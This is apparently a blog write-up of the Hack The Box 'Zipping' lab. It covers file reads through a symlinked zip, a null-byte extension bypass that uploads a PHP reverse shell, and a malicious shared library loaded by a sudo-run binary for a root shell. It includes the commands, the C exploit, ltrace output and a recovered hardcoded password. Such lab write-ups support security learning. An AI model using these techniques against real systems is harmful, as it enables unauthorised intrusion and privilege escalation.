Zipping - HTB · Gabe's Writeups

We can begin with a port scan:

╰─ nmap -sC -sV 10.129.171.3            
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-27 18:12 EDT
Nmap scan report for 10.129.171.3
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_  256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.28 seconds

If you look around on the page and look at the products tab in the shop, you’ll see a juicy potential for LFI in the URL:

If we can upload some kind of file, we might be able to get a webshell. Looking at the work with us page we see that we can upload files.

I wasn’t initially able to get around the file extension requirements so I opted to look for exploits specifically involving zip archives.

After trying some more strategies, I found a section about symlinks on HackTricks.

There is also an article that goes into more depth on why this works that you can read here.

Basically, if we make a symbolic link to a file we believe to be on the system but outside of the web application, we might be able to trick the web application into giving us that file by unzipping a symbolic link.

We can make our malicious zip file like this:

╰─ ln -s ../../../../../../../../etc/passwd test.pdf

╰─ zip --symlinks test.zip test.pdf 
  adding: test.pdf (stored 0%)

Then we can upload the zip file and see if it works. When looking at the file via a browser, it doesn’t seem to work. If we use Burp Suite however, we see that our attempt succeeded:

Now we can start reading files we saw earlier in the URL like upload.php. Although this process is slow and painful, I bet you could figure out a faster way though.

Without reposting all the code here, I’ll outline which files I got from the /var/www/html/ directory:

upload.php showed potential SQL injection that I wasn’t able to capitalize on.
shop.php which seems to be exploitable because it automatically adds the .php extension to names of files and we also see mention of a functions.php file.
functions.php included some login information for a MySQL server, but this doesn’t seem like it will be useful until later down the line.

There are a few other files to read through but I didn’t see too many that jumped out at me.

Fortunately, if we review upload.php in more detail, we will observe the following:

---SNIP---
$zip = new ZipArchive;
    if ($zip->open($zipFile) === true) {
      if ($zip->count() > 1) {
      echo '<p>Please include a single PDF file in the archive <p>';
      } else {
      // Get the name of the compressed file
      $fileName = $zip->getNameIndex(0);
      if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
        mkdir($uploadDir);
        echo exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');
        echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
      } else {
        echo "<p>The unzipped file must have  a .pdf extension.</p>";
        }
---SNIP---

This snip of code is the part of upload.php that checks whether or not there is a valid file type in the zip archive. You can see that the only check here is pathinfo which we might be able to work around.

Following some strategies from this Null-Byte post, we can zip up a PHP reverse shell and edit the hex code to make it appear like a pdf.

First, we make our reverse shell payload, I made mine at RevShells.

Then we can name the file something like rev.phpD.pdf then we can zip it into an archive. Once you have your rev.zip archive, you’ll want to edit out the second D character in the file contents in a hex editor. I opted to use an online editor called HexEd.it.

Then you can upload this new archive to the site and navigate to the link it gives you. You’ll need to remove the .pdf from the link and when going to the link in your browser you’ll get a shell on your listener:

╰─ nc -lvp 1337
listening on [any] 1337 ...
10.129.171.3: inverse host lookup failed: Unknown host
connect to [10.10.14.94] from (UNKNOWN) [10.129.171.3] 45436
Linux zipping 5.19.0-46-generic #47-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 16 13:30:11 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 23:49:02 up  1:39,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
/bin/sh: 0: can't access tty; job control turned off
$

From here you can read and submit your user flag and continue.

Let’s look at our sudo privileges:

$ sudo -l
Matching Defaults entries for rektsu on zipping:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
    (ALL) NOPASSWD: /usr/bin/stock

Looking at the file, it seems to be a binary we can mess with:

$ ls -lah /usr/bin/stock
-rwxr-xr-x 1 root root 17K Apr  1 02:16 /usr/bin/stock

$ file /usr/bin/stock
/usr/bin/stock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa34d8030176fe286f8011c9d4470714d188ab42, for GNU/Linux 3.2.0, not stripped

$

In order to actually interact with the program correctly, we need to upgrade our TTY:

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
rektsu@zipping:/home/rektsu$

Then we can move over to /usr/bin and play with the stock program:

rektsu@zipping:/usr/bin$ ./stock
./stock
Enter the password: superawesomepassword
superawesomepassword
Invalid password, please try again.
rektsu@zipping:/usr/bin$

Let’s transfer this file over to our machine and see if ltrace can reveal the password:

╰─ ltrace ./stock 
printf("Enter the password: ")                      = 20
fgets(Enter the password: goodpass?
"goodpass?\n", 30, 0x7f3ce3667aa0)            = 0x7fffa406b130
strchr("goodpass?\n", '\n')                         = "\n"
strcmp("goodpass?", "St0ckM4nager")                 = 20
puts("Invalid password, please try aga"...Invalid password, please try again.
)         = 36
+++ exited (status 1) +++

Nice, let’s try again with this password it gave us:

╰─ ltrace ./stock
printf("Enter the password: ")                      = 20
fgets(Enter the password: St0ckM4nager
"St0ckM4nager\n", 30, 0x7f7f4895eaa0)         = 0x7ffed97c2d60
strchr("St0ckM4nager\n", '\n')                      = "\n"
strcmp("St0ckM4nager", "St0ckM4nager")              = 0
dlopen("/home/rektsu/.config/libcounter."..., 1)    = 0
puts("\n================== Menu ======="...
================== Menu ==================

)        = 45
puts("1) See the stock"1) See the stock
)                            = 17
puts("2) Edit the stock"2) Edit the stock
)                           = 18
puts("3) Exit the program\n"3) Exit the program

)                       = 21
printf("Select an option: ")                        = 18
__isoc99_scanf(0x5592058650e0, 0x7ffed97c2d8c, 0, 0Select an option: 1
) = 1
fopen("/root/.stock.csv", "r")                      = 0
__errno_location()                                  = 0x7f7f487886c8
printf("You do not have permissions to r"...)       = 44
exit(1You do not have permissions to read the file <no return ...>
+++ exited (status 1) +++

So this tries to open a .csv file in the root directory on the machine. If we use sudo and run the program, it reads the files just fine. Let’s see how we could possibly abuse this program.

Looking at the beginning after we log in with the password, we see mention of a config file in our home directory:

╰─ ltrace ./stock
printf("Enter the password: ")                      = 20
fgets(Enter the password: St0ckM4nager
"St0ckM4nager\n", 30, 0x7f7f4895eaa0)         = 0x7ffed97c2d60
strchr("St0ckM4nager\n", '\n')                      = "\n"
strcmp("St0ckM4nager", "St0ckM4nager")              = 0
dlopen("/home/rektsu/.config/libcounter."..., 1)    = 0
puts("\n================== Menu ======="...
================== Menu ==================

Assuming that this file is libcounter.so, a shared object file, we should be able to add a malicious file to that directory to leak some of the capabilities from this stock program. This file isn’t in our /.config directory by default, so we can just make one.

We’ve done pretty similar exploits to this in the past, but you can read more about it on this blog post.

We can write a simple exploit in C like this:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void method()__attribute__((constructor));
void method() {
    system("/bin/bash -i");
}

Then we can compile it on our machine with gcc and then upload it to the /.config directory on the target machine:

╰─ gcc -shared -fPIC -nostartfiles -o libcounter.so privesc.c

Once on the machine, just run the vulnerable stock program and log in with the password and we should get a root shell:

rektsu@zipping:/home/rektsu/.config$ sudo /usr/bin/stock
sudo /usr/bin/stock
Enter the password: St0ckM4nager
St0ckM4nager
root@zipping:/home/rektsu/.config#

Keeper - HTB

12 August 2023·5 mins

htb

We can start out with a port scan: ╰─ nmap -sC -sV 10.129.121.185 Starting Nmap 7.

Download - HTB

5 August 2023·14 mins

htb

We begin with a port scan: ╰─ nmap -sC -sV 10.129.140.87 Starting Nmap 7.

Gofer - HTB

29 July 2023·17 mins

htb

As always, we can begin with a port scan: ╰─ nmap -sC -sV 10.

Related